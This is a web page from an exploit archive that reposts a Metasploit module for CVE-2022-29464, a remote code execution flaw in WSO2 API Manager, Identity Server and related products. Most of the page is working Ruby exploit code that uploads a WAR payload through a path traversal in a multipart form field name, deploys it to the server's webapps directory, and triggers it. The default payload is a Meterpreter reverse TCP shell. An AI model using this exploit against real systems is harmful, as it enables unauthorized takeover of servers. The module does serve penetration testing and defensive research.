WSO Arbitrary File Upload / Remote Code Execution

Authored by Orange Tsai, wvu, hakivvi, Jack Heysel | Site metasploit.com

Posted May 2, 2022

This Metasploit module abuses a vulnerability in certain WSO2 products that allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.

tags | exploit, remote, code execution, file upload
advisories | CVE-2022-29464
SHA-256 | 7bdab9b3101da4ba2df8ff1f6a558171e4d8a503d4d44bcbaf0347587fa69a4d **Download | Favorite | View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WSO2 Arbitrary File Upload to RCE',
        'Description' => %q{
          This module abuses a vulnerability in certain WSO2 products that allow unrestricted file
          upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and
          above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server
          Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above
          through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.
        },
        'Author' => [
          'Orange Tsai', # Discovery
          'hakivvi', # analysis and PoC
          'wvu', # PoC
          'Jack Heysel <jack_heysel[at]rapid7.com>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2022-29464'],
          [ 'URL', 'https://github.com/hakivvi/CVE-2022-29464' ],
          [ 'URL', 'https://twitter.com/wvuuuuuuuuuuuuu/status/1517433974003576833' ],
          [ 'URL', 'https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738' ]
        ],
        'DefaultOptions' => {
          'Payload' => 'java/meterpreter/reverse_tcp',
          'SSL' => true,
          'RPORT' => 9443
        },
        'Privileged' => false,
        'Targets' => [
          [
            'Java Dropper',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
              'Type' => :java_dropper,
              'DefaultOptions' => {
                'WfsDelay' => 10
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-04-01',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options(
      [
        OptInt.new('WAR_DEPLOY_DELAY', [true, 'How long to wait for the war file to deploy, in seconds', 20 ]),
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
        OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 product installation', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),
      'method' => 'POST'
    )

    if res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /WSO2/
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Unknown
    end
  end

  def prepare_payload(app_name)
    print_status('Preparing payload...')

    war_payload = payload.encoded_war.to_s
    fname = app_name + '.war'
    path_traveral = '../../../../repository/deployment/server/webapps/' + fname
    post_data = Rex::MIME::Message.new
    post_data.add_part(war_payload,
                       'application/octet-stream', 'binary',
                       "form-data; name=\"#{path_traveral}\"; filename=\"#{fname}\"")
    post_data
  end

  def upload_payload(post_data)
    print_status('Uploading payload...')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )
    if res && res.code == 200
      print_good('Payload uploaded successfully')
    else
      fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed')
    end
  end

  def execute_payload(app_name)
    res = nil
    print_status('Executing payload... ')
    retry_until_true(timeout: datastore['WAR_DEPLOY_DELAY']) do
      print_status('Waiting for shell... ')
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, app_name),
        'method' => 'GET'
      )
      if res && res.code == 200
        break
      else
        next
      end
    end

    if res && res.code == 200
      print_good('Payload executed successfully')
    else
      fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed')
    end
  end

  # Retry the block until it returns a truthy value. Each iteration attempt will
  # be performed with expoential backoff. If the timeout period surpasses, false is returned.
  def retry_until_true(timeout:)
    start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
    ending_time = start_time + timeout
    retry_count = 0
    while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time
      result = yield
      return result if result

      retry_count += 1
      remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
      break if remaining_time_budget <= 0

      delay = 2**retry_count
      if delay >= remaining_time_budget
        delay = remaining_time_budget
        vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #
{timeout}")
      else
        vprint_status("Sleeping for #{delay} seconds before attempting again")
      end

      sleep delay
    end
  end

  def exploit
    app_name = Rex::Text.rand_text_alpha(4..7)
    data = prepare_payload(app_name)
    upload_payload(data)
    execute_payload(app_name)
  end

end
```

Login or Register to add favorites

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other